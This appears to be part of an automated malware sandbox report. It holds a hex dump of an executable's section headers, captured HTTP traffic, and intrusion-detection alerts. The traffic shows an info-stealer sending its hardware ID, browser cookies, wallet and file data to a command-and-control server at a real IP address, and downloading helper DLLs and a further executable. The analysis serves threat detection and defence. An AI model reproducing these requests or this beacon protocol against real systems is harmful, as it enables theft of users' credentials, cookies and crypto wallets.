00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 6b 77 70 62 68 6f 62 00 a0 2a 00 00 b0 06 00 00 a0 2a 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 74 66 75 62 6f 78 63 00 10 00 00 00 50 31 00 00 04 00 00 00 36 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 31 00 00 22 00 00 00 3a 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 30 46 46 43 41 31 33 35 32 38 30 31 31 32 38 30 35 36 36 34 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="hwid"00FFCA1352801128056648------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="build"stok------CAKKKJEHDBGIDHJKJDBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="message"browsers------BKJDGCGDAAAKECAKKJDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 2d 2d 0d 0a Data Ascii: ------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="message"plugins------FHJDAAEGIDHDGCAAFCBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="message"fplugins------AAAKEBGDAFHIIDHIIECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEHost: 185.215.113.206Content-Length: 6087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKKHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DAFBGHCAKKFCAKEBKJKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBGDGCAAKJEBFIDBAAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 2d 2d 0d 0a Data Ascii: ------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="file"------HCBGDGCAAKJEBFIDBAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 2d 2d 0d 0a Data Ascii: ------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="file"------KJEGCFBGDHJJJJJKJECF--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDAHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="message"wallets------EHJJKFCBGIDGHIECGCBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 2d 2d 0d 0a Data Ascii: ------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="message"files------KECBGCGCGIEGCBFHIIEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHIIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 2d 2d 0d 0a Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="file"------IEHCAKKJDBKKFHJJDHII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHIIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 2d 2d 0d 0a Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="message"ybncbhylepme------AECAKECAEGDHIECBGHII--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CAFBGHIDBGHJJKFHJDHC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 36 32 41 37 32 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B62A72B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49790 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49827 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.7
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.7
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.7
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.7
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.7
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.7
